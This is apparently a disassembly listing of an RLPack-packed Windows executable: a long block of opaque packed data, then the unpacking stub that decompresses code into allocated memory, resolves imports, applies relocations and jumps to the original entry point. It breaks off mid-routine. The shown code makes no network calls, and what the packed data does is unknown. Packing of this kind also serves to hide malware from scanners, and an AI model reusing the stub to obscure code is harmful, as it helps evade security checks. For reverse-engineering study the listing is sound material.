9145D449h dd 79456D9Fh, 49489901h, 5F21554Eh, 23F0B17Fh, 4C461E94h dd 0B844A97Eh, 0AA626509h, 451A0565h, 691F8F4Fh, 87281A7Ah dd 561F6178h, 8FD18010h, 2B0D7245h, 0F86CE32Dh, 2048541Dh dd 0B5979883h, 149F505Ah, 5052E041h, 0CF70C433h, 340774F8h dd 82508A2Dh, 6C666979h, 28389B8Ah, 9E5E958Dh, 0DF704938h dd 42316E10h, 0A53931C5h, 64065F4Ch, 0F486487Ah, 4E6F4306h dd 0ED5A7547h, 0B77846CAh, 98332284h, 6F3F6284h, 9254D867h dd 6A6A64F0h, 0CA987A75h, 69D0263Ch, 9338040Ah, 2D770A59h dd 24629334h, 24981207h, 506A8430h, 4314A028h, 5BD4304Bh dd 0ED782569h, 9FE379F2h, 0C4656821h, 0D47076F5h, 0F741F8FAh dd 0CEBD6817h, 0E82B70E5h, 0B405928Eh, 140B4754h, 792B0673h dd 31323147h, 57495019h, 9BCC4AFAh, 0CD8C2273h, 20AA2110h dd 0FCAA4F68h, 0D4B858DFh, 5A2E91BAh, 99C6A14h, 60124544h dd 0CA392C4Bh, 0DE98C86Bh, 54AF55A5h, 75D3FBB7h, 0A02A4174h dd 2D4D2B89h, 4652E987h, 28B10C56h, 446442B2h, 3CDADA40h dd 4B418E22h, 8C84A343h, 595052ACh, 0DAC34A08h, 24484349h dd 28B454D8h, 0AC8DD90Dh, 0F02AF73h, 7BCC9593h, 4E8B76BDh dd 55074F09h, 4D93CE4Eh, 0D06560Bh, 54644DD0h, 61D8C39Ch dd 0C4F40249h, 0A0D53732h, 7F38AB4Bh, 636DADE4h, 3B88E16h dd 52D54045h, 33E83534h, 1932D3EBh, 0E4633C4Bh, 4B9782F7h dd 43792850h, 4D454AFAh, 72DA4725h, 49D6582Ch, 81AF9264h dd 3F754490h, 7C9D64BCh, 72DE186Bh, 4ADA6BE6h, 78665A6Dh dd 0E074F80Fh, 68556FC9h, 0A2754CA2h, 6E3904B9h, 793D83F8h dd 0C59C354Ah, 6AFC8C23h, 6F5158DCh, 51D86228h, 0B8021074h dd 63D89976h, 909DB635h, 9A79D072h, 0AC33CA24h, 0A47A3A64h dd 644D9068h, 0AE78B266h, 984C88B6h, 6D009672h, 73044C50h dd 74CC775Fh, 3180CD43h, 4B7292BCh, 925A4709h, 86AF89BCh dd 989179AFh, 6324E543h, 59452A4Ch, 0B0787134h, 66CCCD5Eh dd 71A26058h, 5435C9D9h, 887349D1h, 4E09C87Bh, 56224291h dd 89584344h, 244C125Ah, 914A484Bh, 44472248h, 53894446h dd 4F245012h, 68A05548h, 55095468h, 5719F829h, 62125109h dd 7A487824h, 68226C91h, 89666744h, 25791264h, 0C9ACFD77h dd 2F935F25h, 0D2623482h, 3484FBD5h, 7F1C2D20h, 22854BB9h dd 135FB68h, 0C97C86F9h, 0FB0F311Ch, 0E305304Dh, 323A182Ah dd 607C2D00h, 5B7B5C5Fh, 2D34965Dh, 0BD54AC76h, 6E85059h dd 0A8BD8000h, 0B7D8AAFh, 0F4BE11C9h, 2998235Fh, 0AC315E89h dd 1835AA50h, 0E7DFFB80h, 1B00070h, 59CA9752h, 0A83811D0h dd 0C9A005D5h, 0FB27800Dh, 55B52600h, 0C137001Dh, 79AB46C5h dd 2A088F63h, 0A569E868h, 0D8D66462h, 756B14EDh, 7CC9FAC0h dd 0FDCA6321h, 0E6242C73h, 0E12C0624h, 0F9D2CA25h, 1A2567C7h dd 0DD7ADEDh, 0A13A12C5h, 0ECE87B0Ch, 467540A2h, 1766716Dh dd 0AE3A0A0Dh, 12A5B4C9h, 229A22FEh, 16108D50h, 343BA861h dd 0BD1024B6h, 275A686Ah, 0ADCE73D1h, 0BB2A1794h, 38F68013h dd 2D47A9D2h, 5996D561h, 0BFC4EFEFh, 0DE4F17DBh, 27994B68h dd 0E82D246Ah, 1AB5D2E4h, 2879A804h, 93A8AC6Bh, 0BDCC7F2h dd 0E84395DCh, 9333FFA4h, 0C41129CCh, 23BC910Ch, 23AC91B4h dd 229C91A4h, 8C014494h, 2128489h, 6C487824h, 0C0350396h dd 2944A2EBh, 116E0C64h, 855D502Fh, 8366450h, 0D9D6BF21h dd 54B80868h, 727B6110h, 2111DA86h, 4258EBFDh, 20410860h dd 0D068A87Fh, 80D7D208h, 11B564CAh, 9358A3EBh, 0E13652ABh dd 0D9F5DA62h, 3ADDAD8Bh, 0AC241C7Eh, 862FA624h, 86DEB528h dd 14FC2D65h, 695074E4h, 6EE09724h, 3EE899AFh, 7563F072h dd 644A4844h, 3396AEB9h, 8FFC68F8h, 549A7ABBh, 5991CEA6h dd 0D1202E15h, 61D2DEA2h, 0F1EEDD65h, 1F87FFDh, 2D241FE4h dd 4A781375h, 0D5F1BD22h, 631097D9h, 9EA29632h, 6D51699Fh dd 6344D62Eh, 0A0DA1484h, 1CA54A7Ch, 802E5221h, 0D7C57E4h dd 3AD56B11h, 0C1BFB65Dh, 43BFB67Eh, 0E0B2D32Ch, 0F84AAE47h dd 0FD4CA6A9h, 0F5612442h, 0D3F799B2h, 76B2B261h, 305585B3h dd 1BD5D71Fh, 384B3622h, 249E5AACh, 0A2947208h, 428E668Eh dd 52B44199h, 0BA5BB03Fh, 200FCB29h, 9D65642Ch, 0B848746Eh dd 8B6136BEh, 1B725734h, 3A611A67h, 0F7F6A540h, 448546F3h dd 1E3E69A4h, 85855A9Ch, 0E490402Fh, 0EAADAAB4h, 41B8E590h dd 0DEE32BFBh, 0B1634877h, 6F4425A9h, 26ADFEB8h, 2F9DF520h dd 2C6C223Fh, 0DABFA493h, 0AE763514h, 0DD4E1CB2h, 0E51422F4h dd 450BA6FFh, 28811BC4h, 9B91E477h, 7A62A04Ch, 0D751A375h dd 0F40AB249h, 0EADABEC7h, 0A1436D38h, 96A6C89h, 6B5D70E1h dd 5C8CDC38h, 2A539D41h, 0FDDA41A4h, 0DCB4A573h, 2A528C2Fh dd 0B69269CBh, 0E9286BDCh, 9CC98C93h, 244AB305h, 0F5AB5AF9h dd 0A173E5D7h, 0F143AA30h, 2593D922h, 69DB4935h, 0AFA75C95h dd 0FF794BEEh, 0AB877C4Ch, 0A11A5DA5h, 9A5F2C09h, 0E9E74571h dd 4DD43AD7h, 0EB34A1E8h, 0AB8D67F5h, 0DF78F3C0h, 349E0D9Fh dd 0AAF42836h, 0B4547711h, 6A3399EFh, 0B56EF089h, 696477C2h dd 52645416h, 0C31183Ah, 6B282652h, 32ADB218h, 33A8EA18h dd 0BDA6FC0Ch, 746B0B41h, 669422CCh, 18DA83D0h, 34BAD54Dh dd 76BD6EBCh, 3A74CCB3h, 0BCA428E1h, 72612568h, 78B9A21Eh dd 76415D53h, 0CFF540D1h, 0B6516BC4h, 31DCF5C2h, 14536F34h dd 8D0632AAh, 0EB0B7536h, 4E5A2F70h, 9D59CA0Ah, 0B7CF4C21h dd 42148ABEh, 96806B53h, 1D5355C8h, 99F8E86Fh, 76A45203h dd 0D4721208h, 3F016D0Ah, 7F930B11h, 630C4465h, 0E8ECEA50h dd 40FCB775h, 37DAEF68h, 2530A3D4h, 20AF9936h, 50482423h dd 2A1D09DAh, 0D72FA21Ah, 0D43A163Ah, 741938D6h, 3D9D5078h dd 6BA53A57h, 4D8240F9h, 642E7861h, 0F3789D15h, 38999CD3h dd 27DF4C3Fh, 85954C52h, 17627574h, 0E8F1D543h, 57BE2B24h dd 6C573528h, 6589A5BEh, 287E22EFh, 1AB51453h, 7D4E7749h dd 0CC981486h, 9EB6C4BFh, 8E3B2232h, 4A6E5210h, 0AB5D4E2Fh dd 0FCFB2BC3h, 617365DBh, 0DE614260h, 0A138E577h, 231AA181h dd 0B4419414h, 724928E6h, 47724910h, 24E25F8Ah, 4539FE5Bh dd 495729A5h, 102F465Ch, 0CAD362AAh, 0BEF06EEAh, 1713DD6Dh dd 0D4554782h, 0BB55677Ch, 414A04E6h, 36089BBAh, 86B2B043h dd 24535589h, 97119CE2h, 14E2EC92h, 1A264A55h, 0B588FF11h dd 2A1CEDB9h, 9F94A0E8h, 0BBDDEF9Ch, 4D2EA2DCh, 2E619EBCh dd 9A095244h, 8A59628Bh, 0C66709A5h, 3F3A916Ah, 0F0D0D47Fh dd 0A2C723E9h, 257A6555h, 0DEE6A1B2h, 868252B8h, 3A17A473h dd 0AC4B88E7h, 0DB95F5E3h, 935DF2EEh, 9A61EC50h, 691AE793h dd 37872C96h, 75953822h, 0AFC59C32h, 694CEDE9h, 14BD904Eh dd 350EB18Dh, 9EF7FA12h, 28A36C5Ch, 0B68B6A5Ch, 0F6D6F3C0h dd 0D875DAC5h, 79632BF0h dd 0AA3292Fh, 0EB98292Eh, 593192DDh, 86644958h, 4EEC5BE5h dd 232AD174h, 0A56D2445h, 73489292h, 0AD7CFBFFh, 26D1E1E4h dd 86A19285h, 64254E29h, 0B26B355Eh, 25B354E2h, 1912DFBAh dd 8E0F089Ah, 0AE9F75FEh, 0E45569E2h, 0BA68094Bh, 75D24E4Dh dd 0FA6552A2h, 25B16884h, 0CA69AE23h, 5AADF214h, 0C9F34497h dd 96F56269h, 54719CDBh, 0ED5574BFh, 0B4AD6F4Ch, 0DDEDE1DBh dd 44E80CE4h, 54A33EF5h, 0A5CB759h, 4B2429A5h, 49C8D0CFh dd 36AA93B6h, 4E51254Ch, 75E8856Fh, 4CFD6867h, 6ADAD894h dd 196CF16h, 4DE1C5CBh, 423E6651h, 0A4564967h, 0FA0BB829h dd 183E2E25h, 9F3C1AD0h, 1D4D70ACh, 0DF52F86Bh, 2CC88DECh dd 0F87E6D59h, 0CBFBE40Eh, 0C48C4EF7h, 88BF330h, 6878A3D8h dd 91BC09C8h, 44A422B0h, 78898898h, 4C246012h, 34914048h dd 1C442822h, 11048910h, 0E802A2F4h, 0D048DC24h, 0B422C491h dd 8898A844h, 72E23169h, 6E34351Ch, 7E806EA5h, 0D755769h dd 0A533641Ch, 10A19B71h, 0A70B7294h, 0D21B70Ah, 0A0795D49h dd 19DA0DA2h, 0FC0C1269h, 54D13B1h, 63505873h, 9A8F6234h dd 366C14ECh, 0A1215089h, 56323373h, 59D920Ch, 4120643Dh dd 0B542534Dh, 40547005h, 63736D0Ch, 24A66276h, 685CFEB7h dd 0CCC3493Ch, 45564198h, 1E8267ECh, 66631484h, 3962D67h dd 6D6B73DEh, 7A1AF244h, 0C0EA10DAh, 0A66D72C1h, 40F6FD28h dd 0D07770BCh, 21A694AAh, 7A690E8Eh, 191F8834h, 1D3BF86Dh dd 0E74153Ah, 7CFBAC55h, 3094A5A8h, 676966A4h, 619C40ACh dd 1CA1BA24h, 2F9A7325h, 0BDD0947Fh, 37CFC47Ch, 7D158BBBh dd 8D5AEE95h, 0CE7CC924h, 0BD241E5Ah, 2CC85C7Eh, 0BD3A066Ch dd 0DD988FEh, 0F4E4FD7Ah, 3A4B29AEh, 0C92EDB8Dh, 23F0460h dd 0A0D2E40h, 5053309Ch, 92E95C17h, 519DF7ABh, 29BA2ACCh dd 0B6580B40h, 0A5308762h, 49F8F9FEh, 88739D4Fh, 78FBF572h dd 0D74CF74Bh, 11899B8Ah, 80098459h, 940879A5h, 74C80878h dd 6C097099h, 44216812h, 24035C3Ah, 11DF307Eh, 11417DA2h dd 754E494Dh, 0C20E5051h, 6BD0D3F7h, 0A5164775h, 0B493BD1h dd 58C6DFA7h, 0B5302E52h, 8C63358Dh, 0EE976658h, 0E87BC199h dd 2309FD64h, 53391F3Ch, 544736D2h, 14B68DD2h, 88503B21h dd 73115573h, 74B17BBDh, 0EAB4F80Fh, 4D52F19Eh, 0A18B575Ah dd 0D6AB2C09h, 0E37167CDh, 2E1F0A6Bh, 2832DA3Ch, 0EC6B97F1h dd 534689F9h, 0ABD7C44Eh, 3E42FC8Eh, 64E43C46h, 726DAC24h dd 5E6D793Ah, 0C07FB784h, 0B778442Dh, 2168B48Fh, 23DE67A5h dd 2444C550h, 0FB28251Bh, 9158E9E7h, 14041541h, 52DD389Fh dd 25653164h, 6A53163h, 2456105Ch, 0AD57B6B0h, 5AECABEDh dd 0B895541Ah, 0C72F72C4h, 17896E55h, 0DC6C6ABAh, 0BE6E7524h dd 7C48385Dh, 6D892FE9h, 6294D00Bh, 0A8F57752h, 54531F30h dd 71EF2FD3h, 3E0D3075h, 0AB966AF2h, 64350F2Eh, 5ED08B28h dd 1F2C74ABh, 0C8459A5Bh, 247425AFh, 14620F50h, 0AF2F7469h dd 5355157Dh, 0FEA71141h, 1261159Eh, 61E7B0B4h, 0D0386753h dd 2778CD4h, 0D950972Eh, 60A6EF94h, 0E46A273Dh, 0FD794B60h dd 410F433Ch, 9FC16B20h, 997A7974h, 641000C3h, 0BFD06131h dd 4A109011h, 696C7F03h, 9C87BC62h, 4146665Dh, 8228868Bh dd 68D40315h, 0BE1ACD75h, 34594208h, 0F73C866Ch, 6E79968Eh dd 5FD3BABEh, 3C471445h, 0FE25ADCAh, 0A748C8BAh, 2533C0A5h dd 2893F122h, 3F753EFCh, 8565173h, 12906220h, 30168382h dd 248752D6h, 540E0CDDh, 1430F14Eh, 6FD03331h, 0E117E4Fh dd 5410411Fh, 0E0BA101Ah, 4F5BE9F4h, 6264EC0Ah, 78421448h dd 1E61926Fh, 706950C4h, 2F10D464h, 836C75A4h, 75BB6CA0h dd 50363068h, 6356D8CFh, 0E944DC68h, 87319610h, 4E1F4A9Fh dd 668E7C14h, 75893CB5h, 0A2BC2808h, 3C6C53FEh, 5F5A6C6Fh dd 0B05C7D2Bh, 9160C469h, 5043840Ah, 49CF8855h, 75343601h dd 2E7A484Dh, 236222AFh, 0BDC1109h, 6DEA5927h, 0AFD62A19h dd 4BCB9D3Dh, 72EEFACh, 990D3769h, 99292E32h, 2ECD1E38h dd 42448906h, 53BC8F75h, 489A12E8h, 0FBB42678h, 1DCB4122h dd 5D667F48h, 47293AF3h, 0B2D52BA5h, 8E49F849h, 0E372B529h dd 54100C8Ch, 55B06D69h, 0EAE7470h, 0E9E348A4h, 2202BF4Dh dd 9563E079h, 2F1597D5h, 0A5C496h, 235E5EADh, 0B08FC980h dd 64F741ABh, 68A7874Dh, 7FF82568h, 0DAE74CE0h, 2580A7Dh dd 70752D07h, 0F56F490Fh, 9497AF14h, 957F9558h, 847EA758h dd 0A79ADF72h, 2E1537D9h, 72E2B430h, 0AFC735D6h, 5C47C6DAh dd 559DDC96h, 2E4C5215h, 0C46AA978h, 0E6FBE889h, 68C29C59h dd 2482DE84h, 74300D2Bh, 0C1E52F2Ah, 98BC2804h, 890DFF08h dd 2EB1251h, 750B0201h, 0C3020A4h, 5F38082Eh, 0D02CB30Ah dd 173FE101h, 98750888h, 24127311h, 3B3C0AD1h, 1B3F6304h dd 5202005h, 2F6D1993h, 5BC1A2C0h, 10E8C841h, 501510A6h dd 230443AEh, 1FF9468h, 0F139F0CCh, 0AA014AE1h, 46AEA4AAh dd 1001E01Ch, 83CE8220h, 20022B04h, 2D28E402h, 48E715FAh dd 217B1004h, 22347A84h, 0C8028152h, 40A15F01h, 22C82C5h dd 31FA8502h, 1432203Ch, 0ADEAF4AAh, 0E0890F4h, 0D4277A8h dd 2F00998h, 1C085004h, 600340A4h, 29798239h, 0A68A2C21h dd 0A14208DFh, 9F8130A5h, 4FCE021h, 33807E40h, 0C1610EA8h dd 6A52DAA3h, 0FE811158h, 6508408Ah, 0C8302EB5h, 43B6E441h dd 93E4A2CFh, 0B3E5831Ah, 355BC2E8h, 0A15490A0h, 563510Ah dd 965EDA09h, 785F76C0h, 0E032426Ah, 20DED8D3h, 3135F9E0h dd 0C28747Eh, 4C028916h, 8A60304h, 89180444h, 240D1205h dd 91094806h, 470C2207h, 94092308h, 0BC81C0Ah, 3C4D1679h dd 990F0802h, 144C1058h, 4D128911h, 21180204h, 104C3539h dd 43478E41h, 94345029h, 53CA1852h, 32576508h, 7C995960h dd 6D184C6Ch, 2B3EAB1h, 1C092270h, 29AC7257h, 80953006h dd 881CAB4h, 20328265h, 4C843983h, 29899148h, 10999E12h dd 0A4905CA1h, 0A74770A6h, 94A0B72Bh, 0D7C820CEh, 4C0718E2h dd 920040Ch, 5D5D0D2Dh, 14E68824h, 785C2609h, 111D1978h dd 221A1258h, 1B04C60Ch, 1F21504Ch, 11914889h, 44402213h dd 0E893821h, 74283012h, 9910281Ah, 0C4E32058h, 10531833h dd 11C87CB0h, 220C911Eh, 20084412h, 0C120489h, 477FC22h dd 91F4480Bh, 44EC2215h, 1989E41Ch, 1124DC12h, 1891D448h dd 1644CC22h, 121789C4h, 482224BCh, 222391B8h, 0B02444B4h dd 0F001108Ah, 0F80CE17Fh, 0EF29FF46h, 0B97FA710h, 8588076h dd 0E0447010h, 4014AC01h, 4F291330h, 1C790442h, 0FC5C90F2h dd 454F92Dh, 0BC0E845h, 231D4533h, 96900419h, 8248DF2h dd 431E8E72h, 7990C88Fh, 92210F91h, 33C93E4h, 0A91E89Bh dd 0DE848C22h, 82F41AD5h, 66427BA0h, 117464FCh, 0A0484809h dd 93247828h, 7AF809A0h, 0E2C85831h, 0A478984Ch, 781EE093h dd 40C76824h, 0E7803389h, 0E010B089h, 0A8788C79h, 8019A093h dd 70127811h, 6022712Fh, 89507A44h, 75EC12FCh, 46FF6841h dd 20142148h, 0DAB04DC0h, 0DFDB7F11h, 74CB1045h, 54D5BF93h dd 349630DBh, 0BE80F21Ch, 265394F8h, 16954D09h, 2C09FC01h dd 6F184C35h, 3CB0940h, 648109B1h, 38961844h, 7F4A20C4h dd 2A07041h, 100C4057h dd 0FAE105C8h, 21790B08h, 50610C9Ch, 80B0FC3h, 5012F424h dd 98219680h, 0BC204016h, 28C19BEh, 1BC9BF04h, 0A110348Eh dd 0CECC3DEDh, 4ED3C28Fh, 9EF02080h, 2B0370B5h, 9DC5ADA8h dd 5DD0E069h, 0E52500FDh, 194F8E1Ah, 71F883EBh, 95D79600h dd 8D050E43h, 9EAF3E29h, 0A0BFF900h, 1281ED44h, 823E8F73h dd 3C007BB9h, 0FFCFA6D5h, 0DF781F49h, 0C66F007Ah, 80E98CE0h dd 0BA47C900h, 0BC41A893h, 556B0085h, 0F78D3927h, 7C3EE070h dd 8EDD0042h, 0FB9DF9DEh, 0AA7E00EBh, 0E6A14351h, 0CC00E376h dd 842F29F2h, 3442681h, 0AA171028h, 0E3A8AEF8h, 0FA7CC4C5h dd 0D4A7EB07h, 0E150F7F3h, 957A4Ah, 0CC6545CFh, 0A60E91C7h dd 19A0AE01h, 0D46A3E3h, 1C0C17F4h, 0C0868175h, 4D48C976h dd 0E4004258h, 3B3993A7h, 3EB2B835h, 0EFA53EDh, 0C53D5DE5h dd 9E8B417Fh, 0E8FF5A92h, 0A158F0A6h, 0A55400E9h, 0D161378Ch dd 5A8B39FDh, 5D25D800h, 67DBF989h, 0F895AA00h, 0A2BF27F3h dd 0DDFAC8h, 0C94C6E80h, 8A20979Bh, 60520202h, 107525C4h dd 4D0CCCDh, 3FFB8001h, 140A3D71h, 570A3D7h, 5A00F83Eh dd 4FDF3B64h, 6E0F978Dh, 80F58312h, 652CD3C3h, 58E20319h dd 0F1D1B717h, 230FD0E0h, 1B47841Ch, 0A7C5AC83h, 0A640E0EEh dd 6C6900B6h, 37BD05AFh, 33F8EB86h, 42BC3D00h, 94D5E57Ah dd 0E7D63EBFh, 40FDC21Ch, 118461CEh, 0AB3ECC77h, 4C2F00E4h dd 0C44DE15Bh, 95940FBEh, 928FC9E6h, 753B5300h, 147ECD44h dd 0AF9A3Eh, 94BA67DEh, 1DAD4539h, 0FECFB11Eh, 0C6232403h dd 3BF8BCE2h, 8B3E6131h, 5500747Ah, 0B17EC159h, 3E127C53h dd 0D7005FBBh, 68D2FEEh, 850D92BEh, 4844FB15h, 73E9A5F8h dd 0EA270739h, 0C02AA87Fh, 0E4A1AC7Dh, 7C64BC00h, 55DDD046h dd 7B63003Eh, 5423CC06h, 0FF0E8377h, 603D8191h, 7A193AFAh dd 43250063h, 3CACC031h, 0D1038921h, 97478238h, 0D7FD80B8h dd 88DC003Bh, 0B11B0858h, 861FE3E8h, 0C60003A6h, 7424584h dd 759900B6h, 3A2EDB37h, 1C1E7133h, 320023D2h, 5A9049EEh dd 87A60039h, 0DA57C0BEh, 0A2F082A5h, 0E232B500h, 0A711B268h dd 449F0052h, 2C10B759h, 0E4004925h, 4F34362Dh, 7BCEAE53h dd 598F006Bh, 0DEC0A404h, 0FB007DC2h, 9E1EC6E8h, 5A88E7h dd 0BF3C9157h, 18228350h, 654B4E07h, 8F80FD62h, 309406AFh dd 0DE5C117Dh, 0D200CE9Fh, 0A6DD04C8h, 4BEC0AD8h, 2EAC307Ch dd 5612413Fh, 53BA7865h, 38A1FCE8h, 18A7F040h, 8BFE7C2Dh dd 0F8D45F63h, 74734040h, 293DDC64h, 7FDE920h, 66475F9Ch dd 0ED4ADF3Bh, 401E2132h, 8DC9E4B5h, 6944A341h, 5A9FF077h dd 0A5CEB55Fh, 15408B3Bh, 0C07610h, 0 dd 0E0017027h, 0DC09C89Ch, 11022188h, 8F902233h, 0CCD701h dd 0 ; --------------------------------------------------------------------------- pusha call $+5 mov ebp, [esp] add esp, 4 cmp dword ptr [esp+28h], 1 jnz short loc_4FA4AF mov eax, [esp+24h] mov [ebp+43Ch], eax jmp short loc_4FA4BB ; --------------------------------------------------------------------------- loc_4FA4AF: ; CODE XREF: .RLPack:004FA4A1j mov eax, [ebp+438h] mov [ebp+43Ch], eax loc_4FA4BB: ; CODE XREF: .RLPack:004FA4ADj lea esi, [ebp+460h] lea ebx, [ebp+2EBh] xor edi, edi call sub_4FA620 jmp short loc_4FA4EB ; --------------------------------------------------------------------------- loc_4FA4D0: ; CODE XREF: .RLPack:004FA4EFj mov eax, [ebp+43Ch] push dword ptr [edi+esi+4] add [esp], eax push dword ptr [edi+esi] add [esp], eax call ebx add esp, 8 add edi, 8 loc_4FA4EB: ; CODE XREF: .RLPack:004FA4CEj cmp dword ptr [edi+esi], 0 jnz short loc_4FA4D0 cmp dword ptr [ebp+448h], 0 jz short loc_4FA508 cmp dword ptr [ebp+44Ch], 0 jz short loc_4FA508 call sub_4FA6C0 loc_4FA508: ; CODE XREF: .RLPack:004FA4F8j ; .RLPack:004FA501j lea esi, [edi+esi+4] push ebx push 40h push 1000h push 760h push 0 call dword ptr [ebp+3D1h] mov [ebp+45Ch], eax pop ebx push dword ptr [ebp+45Ch] push esi call ebx add esp, 8 mov esi, [ebp+45Ch] mov eax, esi jmp short loc_4FA53F ; --------------------------------------------------------------------------- loc_4FA53E: ; CODE XREF: .RLPack:004FA542j inc eax loc_4FA53F: ; CODE XREF: .RLPack:004FA53Cj cmp byte ptr [eax], 1 jnz short loc_4FA53E inc eax mov edi, [eax] add edi, [ebp+43Ch] add eax, 4 mov [ebp+458h], eax jmp loc_4FA5EF ; --------------------------------------------------------------------------- loc_4FA55B: ; CODE XREF: .RLPack:004FA5F2j push esi call dword ptr [ebp+3C9h] test eax, eax jz loc_4FA61E mov [ebp+454h], eax mov eax, esi jmp short loc_4FA5CF ; --------------------------------------------------------------------------- loc_4FA574: ; CODE XREF: .RLPack:004FA5CDj ; .RLPack:004FA5D2j mov eax, [ebp+458h] mov eax, [eax] test eax, 80000000h jz short loc_4FA597 xor eax, 80000000h push eax mov eax, [ebp+458h] mov dword ptr [eax], 202020h jmp short loc_4FA59D ; --------------------------------------------------------------------------- loc_4FA597: ; CODE XREF: .RLPack:004FA581j push dword ptr [ebp+458h] loc_4FA59D: ; CODE XREF: .RLPack:004FA595j push dword ptr [ebp+454h] call dword ptr [ebp+3CDh] test eax, eax jz short loc_4FA61E mov [edi], eax add edi, 4 mov eax, [ebp+458h] jmp short loc_4FA5BB ; --------------------------------------------------------------------------- loc_4FA5BA: ; CODE XREF: .RLPack:004FA5BEj inc eax loc_4FA5BB: ; CODE XREF: .RLPack:004FA5B8j cmp byte ptr [eax], 0 jnz short loc_4FA5BA inc eax mov [ebp+458h], eax cmp word ptr [eax+2], 8000h jz short loc_4FA574 loc_4FA5CF: ; CODE XREF: .RLPack:004FA572j cmp byte ptr [eax], 0 jnz short loc_4FA574 jmp short loc_4FA5D7 ; --------------------------------------------------------------------------- loc_4FA5D6: ; CODE XREF: .RLPack:004FA5DAj inc esi loc_4FA5D7: ; CODE XREF: .RLPack:004FA5D4j cmp byte ptr [esi], 0 jnz short loc_4FA5D6 inc esi inc eax mov edi, [eax] add edi, [ebp+43Ch] add eax, 4 mov [ebp+458h], eax loc_4FA5EF: ; CODE XREF: .RLPack:004FA556j cmp byte ptr [esi], 1 jnz loc_4FA55B push 4000h push 760h push dword ptr [ebp+45Ch] call dword ptr [ebp+3D5h] call sub_4FA650 call sub_4FA73C popa jmp loc_41E1D3 ; --------------------------------------------------------------------------- loc_4FA61E: ; CODE XREF: .RLPack:004FA564j ; .RLPack:004FA5ABj popa retn ; =============== S U B R O U T I N E ======================================= sub_4FA620 proc near ; CODE XREF: .RLPack:004FA4C9p pusha mov eax, [ebp+43Ch] add eax, [eax+3Ch] add ax, [eax+14h] add eax, 18h mov ebx, [eax+0Ch] add ebx, [ebp+43Ch] mov ecx, [eax+8] lea eax, [ebp+434h] push eax push 40h push ecx push ebx call dword ptr [ebp+3D9h] popa retn sub_4FA620 endp ; =============== S U B R O U T I N E ======================================= sub_4FA650 proc near ; CODE XREF: .RLPack:004FA60Ep pusha mov esi, [ebp+440h] or esi, esi jz short loc_4FA6BE mov edi, [ebp+438h] mov eax, [ebp+43Ch] cmp eax, edi jz short loc_4FA6BE add esi, eax jmp short loc_4FA6B9 ; --------------------------------------------------------------------------- loc_4FA66F: ; CODE XREF: sub_4FA650+6Cj mov edx, [esi] mov eax, [esi+4] mov [ebp+444h], eax add [ebp+444h], esi add esi, 8 jmp short loc_4FA6B1 ; --------------------------------------------------------------------------- loc_4FA685: ; CODE XREF: sub_4FA650+67j movzx eax, word ptr [esi] mov ebx, eax shr ebx, 0Ch mov ecx, ebx imul ebx, 1000h sub eax, ebx add eax, edx add eax, [ebp+43Ch] cmp ecx, 3 jnz short loc_4FA6AE sub [eax], edi mov ecx, [ebp+43Ch] add [eax], ecx loc_4FA6AE: ; CODE XREF: sub_4FA650+52j add esi, 2 loc_4FA6B1: ; CODE XREF: sub_4FA650+33j cmp esi, [ebp+444h] jb short loc_4FA685 loc_4FA6B9: ; CODE XREF: sub_4FA650+1Dj cmp dword ptr [esi], 0 jnz short loc_4FA66F loc_4FA6BE: ; CODE XREF: sub_4FA650+9j ; sub_4FA650+19j popa retn sub_4FA650 endp ; =============== S U B R O U T I N E ======================================= sub_4FA6C0 proc near ; CODE XREF: .RLPack:004FA503p pusha mov esi, [ebp+448h] add esi, [ebp+43Ch] mov edi, esi mov ecx, [ebp+44Ch] cmp dword ptr [ebp+450h], 0 jz short loc_4FA712 jmp short loc_4FA70B ; --------------------------------------------------------------------------- loc_4FA6E0: ; CODE XREF: sub_4FA6C0+4Ej cmp byte ptr [esi], 0E8h jz short loc_4FA6EA cmp byte ptr [esi], 0E9h jnz short loc_4FA709 loc_4FA6EA: ; CODE XREF: sub_4FA6C0+23j mov eax, [esi+1] cmp al, [ebp+450h] jnz short loc_4FA703 mov al, 0 bswap eax sub eax, 5 add eax, edi sub eax, esi mov [esi+1], eax loc_4FA703: ; CODE XREF: sub_4FA6C0+33j add esi, 4 sub ecx, 4 loc_4FA709: ; CODE XREF: sub_4FA6C0+28j inc esi dec ecx loc_4FA70B: ; CODE XREF: sub_4FA6C0+1Ej cmp ecx, 0 ja short loc_4FA6E0 jmp short loc_4FA73A ; --------------------------------------------------------------------------- loc_4FA712: ; CODE XREF: sub_4FA6C0+1Cj cdq jmp short loc_4FA735 ; --------------------------------------------------------------------------- loc_4FA715: ; CODE XREF: sub_4FA6C0+78j inc edx cmp byte ptr [esi], 0E8h jz short loc_4FA720 cmp byte ptr [esi], 0E9h jnz short loc_4FA733 loc_4FA720: ; CODE XREF: sub_4FA6C0+59j mov eax, [esi+1] bswap eax sub eax, edx mov [esi+1], eax add esi, 4 add edx, 4 sub ecx, 4 loc_4FA733: ; CODE XREF: sub_4FA6C0+5Ej inc esi dec ecx loc_4FA735: ; CODE XREF: sub_4FA6C0+53j cmp ecx, 0 ja short loc_4FA715 loc_4FA73A: ; CODE XREF: sub_4FA6C0+50j popa retn sub_4FA6C0 endp ; =============== S U B R O U T I N E ======================================= sub_4FA73C proc near ; CODE XREF: .RLPack:004FA613p pusha mov esi, [ebp+43Ch] add esi, [esi+3Ch] mov esi, [esi+0C0h] or esi, esi jz short loc_4FA77F add esi, [ebp+43Ch] add esi, 0Ch mov esi, [esi] or esi, esi jz short loc_4FA77F mov eax, [esi] jmp short loc_4FA77B ; --------------------------------------------------------------------------- loc_4FA763: ; CODE XREF: sub_4FA73C+41j push esi cmp dword ptr [eax], 0 jz short loc_4FA775 push 0 push 1 push dword ptr [ebp+43Ch] call eax loc_4FA775: ; CODE XREF: sub_4FA73C+2Bj pop esi add esi, 4 mov eax, [esi] loc_4FA77B: ; CODE XREF: sub_4FA73C+25j or eax, eax jnz short loc_4FA763 loc_4FA77F: ; CODE XREF: sub_4FA73C+12j ; sub_4FA73C+21j popa retn sub_4FA73C endp ; --------------------------------------------------------------------------- pusha mov esi, [esp+24h] mov edi, [esp+28h] cld mov dl, 80h xor ebx, ebx loc_4FA78F: ; CODE XREF: .RLPack:004FA797j movsb mov bl, 2 loc_4FA792: ; CODE XREF: .RLPack:004FA7BCj ; .RLPack:004FA802j call sub_4FA804 jnb short loc_4FA78F xor ecx, ecx call sub_4FA804 jnb short loc_4FA7BE xor eax, eax call sub_4FA804 jnb short loc_4FA7CE mov bl, 2 inc ecx mov al, 10h loc_4FA7B0: ; CODE XREF: .RLPack:004FA7B7j call sub_4FA804 adc al, al 